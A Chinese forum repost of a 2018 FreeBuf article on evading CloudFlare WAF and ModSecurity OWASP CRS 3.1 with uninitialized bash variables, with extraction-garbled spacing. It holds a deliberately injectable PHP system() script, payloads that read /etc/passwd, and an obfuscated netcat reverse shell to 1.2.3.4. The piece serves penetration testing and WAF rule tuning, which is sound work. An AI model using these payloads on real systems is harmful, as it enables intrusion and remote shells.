搜索

[13259] 2018-10-03_绕过CloudFlareWAF和OWASPCRS3核心规则集

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2018-10-03_绕过CloudFlareWAF和OWASPCRS3核心规则集 绕 过 C l o u d F l a r e   W A F 和 O W A S P   C R S   3 核 心 规 则 集 s e c i s t   F r e e B u f   2 0 1 8 - 1 0 - 0 3 W e b 应 用 防 火 墙 通 常 会 被 部 署 在 应 用 防 火 墙 通 常 会 被 部 署 在 W e b 客 户 端 与 客 户 端 与 W e b 服 务 器 之 间 ， 以 过 滤 来 自 服 务 器 的 恶 意 流 量 。 而 作 为 一 名 渗 服 务 器 之 间 ， 以 过 滤 来 自 服 务 器 的 恶 意 流 量 。 而 作 为 一 名 渗 透 测 试 人 员 ， 想 要 更 好 的 突 破 目 标 系 统 ， 就 必 须 要 了 解 目 标 系 统 的 透 测 试 人 员 ， 想 要 更 好 的 突 破 目 标 系 统 ， 就 必 须 要 了 解 目 标 系 统 的 W A F 规 则 ， 以 及 想 办 法 绕 过 该 规 则 。 本 文 将 规 则 ， 以 及 想 办 法 绕 过 该 规 则 。 本 文 将 以 以 C l o u d F l a r e   W A F 和 和 M o d S e c u r i t y   O W A S P   C R S 3 为 例 ， 为 大 家 进 行 演 示 如 何 使 用 未 初 始 化 的 为 例 ， 为 大 家 进 行 演 示 如 何 使 用 未 初 始 化 的 B a s h 变 量 ， 来 绕 变 量 ， 来 绕 过 基 于 过 基 于 W A F 正 则 表 达 式 的 过 滤 器 和 模 式 匹 配 。 正 则 表 达 式 的 过 滤 器 和 模 式 匹 配 。 未 初 始 化 变 量 未 初 始 化 变 量 在 之 前 两 篇 关 于 过 W A F 的 文 章 中 ， 我 为 大 家 介 绍 了 如 何 在 L i n u x 系 统 上 通 过 滥 用 b a s h   g l o b b i n g 进 程 ， 来 绕 过 W A F 规 则 集 并 执 行 远 程 命 令 的 技 巧 。 在 本 文 中 我 将 向 大 家 展 示 另 一 种 ， 使 用 未 初 始 化 b a s h 变 量 绕 过 基 于 正 则 表 达 式 的 过 滤 器 和 模 式 匹 配 的 技 巧 。 未 初 始 化 变 量 的 值 为 n u l l （ 根 本 没 有 值 ） 。 可 以 看 出 ， 声 明 但 未 初 始 化 和 直 接 设 为 空 值 是 相 同 的 。 默 认 情 况 下 ， B a s h 会 像 P e r l 那 样 处 理 未 初 始 化 的 变 量 ： 即 视 为 空 字 符 串 ！ 让 我 们 从 一 个 例 子 开 始 。 假 设 我 们 要 执 行 c a t   / e t c / p a s s w d 命 令 ， 我 们 可 以 使 用 以 下 语 法 ： 可 以 看 到 ， 其 中 $ u 会 被 b a s h 视 为 空 字 符 串 ， 且 对 结 果 输 出 也 没 有 任 何 的 影 响 。 我 们 可 以 简 单 的 验 证 下 ， 通 过 e c h o 命 令 打 印 $ u 。 。 如 下 ： e c h o   " u n i n i t i a l i z e d _ v a r i a b l e = $ u n i n i t i a l i z e d _ v a r i a b l e " u n i n i t i a l i z e d _ v a r i a b l e = c a t $ u   / e t c $ u / p a s s w d $ u
我 们 可 以 利 用 这 个 特 性 来 绕 过 W A F 规 则 ， 让 我 们 使 用 C l o u d F l a r e   W A F 和 M o d S e c u r i t y   O W A S P 核 心 规 则 集 3 . 1 进 行 一 些 测 试 。 C l o u d F l a r e   W A F   ( p r o   p l a n ) 和 之 前 一 样 ， 我 将 在 一 个 非 常 简 单 的 P H P 脚 本 上 测 试 这 种 绕 过 技 术 。 需 要 说 明 的 是 ， 我 的 测 试 并 不 针 对 C l o u d F l a r e W A F ， 测 试 的 主 要 目 的 是 为 了 提 醒 开 发 人 员 注 重 代 码 的 安 全 性 ， 以 及 知 道 可 以 采 取 哪 些 措 施 来 修 复 或 编 写 自 定 义 的 规 则 。 我 启 用 了 C l o u d F l a r e   W A F 所 有 的 规 则 ， 并 将 安 全 级 别 调 到 了 最 高 （ 似 乎 所 有 规 则 都 基 于 O W A S P   C R S 2 … … ） 。 简 单 的 简 单 的 P H P 测 试 脚 本 测 试 脚 本 该 脚 本 使 用 d i g 来 解 析 主 机 G E T 参 数 上 的 给 定 主 机 名 ， 例 如 ： 响 应 结 果 ： 显 然 ， 我 们 只 需 在 主 机 名 后 加 一 个 分 号 ， 就 可 以 实 现 R C E 攻 击 ， 例 如 ： < ? p h p                 i f ( i s s e t ( $ _ G E T [ ' h o s t ' ] ) )   {                                 s y s t e m ( ' d i g   ' . $ _ G E T [ ' h o s t ' ] ) ;                 } ? > / ? h o s t = w w w . g o o g l e . c o m
那 么 ， 我 是 否 可 以 读 取 c a t   / e t c / p a s s w d 文 件 呢 ？   让 我 们 来 尝 试 下 ： 如 上 所 示 ， W A F 规 则 集 阻 止 了 我 的 请 求 。 现 在 ， 让 我 们 尝 试 使 用 未 初 始 化 变 量 绕 过 该 规 则 集 。 / ? h o s t = w w w . g o o g l e . c o m ; l s + / / ? h o s t = w w w . g o o g l e . c o m ; c a t + / e t c / p a s s w d / ? h o s t = w w w . g o o g l e . c o m ; c a t $ u + / e t c $ u / p a s s w d $ u
请 求 放 行 ！ 我 成 功 读 取 到 了 / e t c / p a s s w d 文 件 中 的 内 容 。 C l o u d F l a r e 有 一 些 特 定 的 规 则 来 防 止 使 用 n e t c a t 获 得 反 向 s h e l l ， 我 决 定 尝 试 绕 过 它 们 。 这 里 我 将 所 有 C l o u d F l a r e S p e c i a l s 上 的 规 则 设 置 为 了 “ b l o c k ” 。
首 先 ， 我 尝 建 立 一 个 n c 反 向 s h e l l 。
不 出 所 料 ， C l o u d F l a r e 阻 止 了 我 的 请 求 。 现 在 ， 我 们 在 n c 和 / b i n / b a s h 后 添 加 一 些 未 初 始 化 的 b a s h 变 量 ， 如 下 ： 成 功 绕 过 并 获 取 到 了 一 个 反 向 s h e l l ！ M o d S e c u r i t y   O W A S P   C R S 3 . 1 使 用 C R S 3 . 1 后 绕 过 难 度 大 大 增 加 ， 尤 其 是 将 P a r a n o i a   L e v e l 调 到 3 后 （ C R S 3 上 共 有 P a r a n o i a   L e v e l   1 ~   4   四 个 级 别 ， 第 四 个 级 别 几 乎 无 法 绕 过 ） ， 这 也 是 我 喜 欢 C R S 3 的 众 多 原 因 之 一 。 与 C l o u d F l a r e 上 发 生 的 情 况 不 同 ， 将 C R S 3 . 1 级 别 调 到 P a r a n o i a   L e v e l   3 后 ， 我 的 第 一 个 测 试 被 9 3 2 1 0 0 规 则 阻 止 ， 原 因 是 “ U n i x 命 令 注 入 ” ： n c $ u   - e   / b i n $ u / b a s h $ u   1 . 2 . 3 . 4   1 3 3 7
那 么 ， 我 们 该 如 何 绕 过 这 条 规 则 呢 ？ 我 尝 试 使 用 未 初 始 化 变 量 以   ; 的 格 式 发 送 请 求 ， 看 看 是 否 可 以 成 功 绕 过 。 如 下 ： 可 以 看 到 ， 9 3 2 1 0 0 规 则 成 功 被 绕 过 ！ 但 由 于 主 机 参 数 中 包 含 e t c / p a s s w d 字 符 串 ， 我 的 请 求 再 次 被 阻 止 。 我 能 做 的 是 在 e t c / p a s s w d 路 径 中 ， 添 加 更 多 的 未 初 始 化 变 量 ， 如 下 ： ? h o s t = w w w . g o o g l e . i t ; + $ u + c a t + / e t c / p a s s w d ? h o s t = w w w . g o o g l e . i t ; + $ u + c a t + / e t c $ u / p a s s w d $ u
与 C l o u d F l a r e   W A F 不 同 ， 如 果 我 们 将 C R S 3 . 1 的 P a r a n o i a   L e v e l 调 为 3 ， 那 么 我 们 几 乎 不 可 能 绕 过 以 双 引 号 包 含 $ _ G E T [ ‘ h o s t ’ ] 的 P H P 脚 本 。 不 信 我 们 可 以 试 一 试 ： 有 了 双 引 号 后 ， 除 了 分 号 之 外 我 们 还 需 要 闭 合 或 注 释 掉 前 后 的 双 引 号 。 例 如 ： 你 可 能 会 问 ， R C E   p a y l o a d 中 添 加 了 这 么 多 额 外 的 字 符 ， 难 道 不 会 被 C l o u d F l a r e 阻 止 吗 ？ 我 们 来 看 结 果 ~ 成 功 绕 过 ！ 之 所 以 无 法 绕 过 C R S 3   P a r a n o i a   L e v e l   3 ， 主 要 是 由 于 以 下 两 条 规 则 ： 9 4 2 4 6 0   元 字 符 异 常 检 测 警 报 元 字 符 异 常 检 测 警 报   -   非 单 字 字 符 重 复 ： 非 单 字 字 符 重 复 ： 由 于   “ ， ; ，   /   和   $   字 符 ， 导 致 请 求 被 阻 止 。 9 4 2 2 6 0   检 测 基 本 检 测 基 本 S Q L 身 份 验 证 绕 过 尝 试 身 份 验 证 绕 过 尝 试   2 / 3 ： ： 尝 试 使 用 特 殊 字 符 ， 导 致 请 求 被 阻 止 。 < ? p h p                 i f ( i s s e t ( $ _ G E T [ ' h o s t ' ] ) )   {                                 s y s t e m ( ' d i g   " ' . $ _ G E T [ ' h o s t ' ] . ' " ' ) ;                 } ? > / ? h o s t = w w w . g o o g l e . i t " ; c a t + / e t c / p a s s w d + #
而 如 果 将 P a r a n o i a   L e v e l 降 至 2 ， 就 可 以 被 绕 过 。 总 结 总 结 为 什 么 阻 止 此 类 请 求 会 如 此 困 难 ？ 为 什 么 W A F 不 阻 止 参 数 值 中 的 $ 字 符 ？ 原 因 很 简 单 ， 因 为 那 样 会 导 致 出 现 许 多 误 报 的 情 况 。 恕 我 直 言 ， 相 比 之 下 我 更 认 同 C R S 3 的 做 法 ， 只 在 单 个 值 中 找 到 4 个 或 更 多 重 复 的 非 单 字 字 符 时 才 进 行 阻 止 。 这 比 阻 止 特 定 的 字 符 更 加 聪 明 有 效 ， 且 误 报 率 也 更 低 。 * 参 考 来 源 ： 参 考 来 源 ： s e c j u i c e ， ，   F B 小 编 小 编   s e c i s t   编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文 / ? h o s t = w w w . g o o g l e . i t " ; + $ u + c a t + / e t c $ u / p a s s w d + #
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理